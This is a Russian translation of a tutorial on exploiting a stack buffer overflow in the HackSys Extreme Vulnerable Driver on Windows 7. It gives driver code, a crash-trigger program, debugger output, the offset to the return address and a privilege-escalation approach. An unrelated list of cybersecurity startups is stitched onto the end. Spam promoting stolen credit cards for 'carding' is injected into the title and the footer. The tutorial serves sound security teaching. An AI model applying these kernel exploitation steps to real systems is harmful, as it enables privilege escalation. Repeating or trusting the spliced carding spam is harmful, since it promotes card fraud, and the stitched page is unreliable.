Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 3 – Переполнение буфера в стеке (Windows 7 x86 buy free cc for carding, buy cc for amazon carding
Автор: Mohamed Shahat
Код эксплоита находится здесь .
Суть уязвимости
Код, показанный ниже, находится здесь .
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint(“[+] UserBuffer: 0x%p
“, UserBuffer);
DbgPrint(“[+] UserBuffer Size: 0x%X
“, Size);
DbgPrint(“[+] KernelBuffer: 0x%p
“, &KernelBuffer);
DbgPrint(“[+] KernelBuffer Size: 0x%X
“, sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint(“[+] Triggering Stack Overflow
“);
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint(“[-] Exception Code: 0x%X
“, Status);
}
return Status;
}
Метод TriggerStackOverflow вызывается через функцию StackOverflowIoctlHandler , которая является обработчиком IOCTL для HACKSYS_EVD_IOCTL_STACK_OVERFLOW.
Уязвимость довольно очевидна. Пользовательский буфер копируется в буфер ядра размером 2048 байт (512 * sizeof(ULONG)). Поскольку границы не проверяются, получаем классическую брешь, связанную с переполнением стека.
Инициация падения системы
#include <Windows.h>
#include <stdio.h>
// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
int main()
{
// 1. Create handle to driver
HANDLE device = CreateFileA(
“\\\\.\\HackSysExtremeVulnerableDriver”,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
printf(“[+] Opened handle to device: 0x%x
“, device);
// 2. Allocate memory to construct buffer for device
char* uBuffer = (char*)VirtualAlloc(
NULL,
2200,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
printf(“[+] User buffer allocated: 0x%x
“, uBuffer);
RtlFillMemory(uBuffer, 2200 , ‘A’);
DWORD bytesRet;
// 3. Send IOCTL
DeviceIoControl(
device,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
uBuffer,
2200,
NULL,
0,
&bytesRet,
NULL
);
}
Скомпилированный код, показанный выше, копируем на виртуальную машину. Убеждаемся, что сессия WinDBG активна, и запускаем исполняемый файл из шелла. Работа отлаживаемой системы должна приостановиться, а WinDBG должен замигать на вашей рабочей машине.
HEVD показывает отладочную информацию (должен быть включен режим подробного информирования):
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Введите команду k для отображения содержимого стека. Должно появиться примерно следующее:
kd> k
# ChildEBP RetAddr
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92]
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141
Если возобновить выполнение, 0x41414141 появится в регистре EIP. Ничего сложного J.
Контроль потока выполнения
Эксплуатация этой уязвимости в сочетании с полезной нагрузкой для кражи токена, которую мы рассматривали во второй части, не составляет особых сложностей. Полезная нагрузка конструируется в пространстве пользователя, после чего адрес буфера передается в качестве адреса возврата. Когда дело доходит до нужной функции, выполнение перенаправляется в буфер, находящийся в пространстве пользователя. Этот эксплоит направлен на расширение привилегий, когда вы выполняете код с более высокими правами, чем у вас есть.
Поскольку в Windows 7 функция SMEP отключена, мы можем просто указать на переход к полезной нагрузке в режиме пользователя и осуществить выполнение с привилегиями ядра.
Перезапускаем виртуальную машину, выполнив команду .reboot. Теперь нужно поставить точки останова на начало и конец функции. Для нахождения места возврата вычисляем смещение, используя команду uf.
kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
65 9176b62a push 80Ch
65 9176b62f push offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
65 9176b634 call HEVD!__SEH_prolog4 (91768014)
…
101 9176b6ed call HEVD!__SEH_epilog4 (91768059)
101 9176b6f2 ret 8
kd> ? 9176b6f2 – HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8
kd> bu HEVD!TriggerStackOverflow
kd> bu HEVD!TriggerStackOverflow + 0xc8
kd> bl
0 e Disable Clear 9176b62a 0001 (0001) HEVD!TriggerStackOverflow
1 e Disable Clear 9176b6f2 0001 (0001) HEVD!TriggerStackOverflow+0xc8
Далее нужно найти смещение инструкции RET:
kd> ? (@ebp + 4) – @eax
Evaluate expression: 2076 = 0000081c
Теперь мы знаем, что адрес возврата хранится на расстоянии 2076 байт от начала буфера ядра.
Главный вопрос: что делать после выполнения полезной нагрузки.
Обнуление регистра
Попробуем посмотреть на то, что мы уже сделали, под другим углом. Перезапись адреса возврата первой функции в стеке означает, что оставшиеся инструкции этой функции выполнены не будут. Имеется в виду функция StackOverflowIoctlHandler по смещению 0x1e.
Рисунок 1: Две инструкции (выделено синим), которые не будут выполнены
Как видно из рисунка выше, требуется выполнить две инструкции, находящиеся в конце нашей полезной нагрузки:
9176b718 pop ebp
9176b719 ret 8
Мы упустили еще одну деталь. Эта функция ожидает возвратное значение в @eax, и любое содержимое, отличное от 0, будет расцениваться как ошибка. Соответственно, перед выполнением завершающих инструкций, нужно решить эту проблему:
xor eax, eax ; Set NTSTATUS SUCCEESS
Полная версия эксплоита находится здесь . Полезная нагрузка рассматривалась во второй части данного цикла.
Рисунок 2: Демонстрация работы эксплоита для системы Windows 7 x86
Портирование эксплоита под Windows 7 64-bit
Схема переделки довольно проста:
Рисунок 3: Демонстрация работы эксплоита для системы Windows 7 x64
Код эксплоита находится здесь .
Резюме
Буфер из пространства пользователя копируется в буфер ядра без проверки границ. Отсюда имеем уязвимость, связанную с переполнением стека.
На этом все. В четвертой части мы рассмотрим эксплуатацию этой уязвимости в Windows 10 и обход функции SMEP.
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
buy free cc for carding buy cc for amazon carding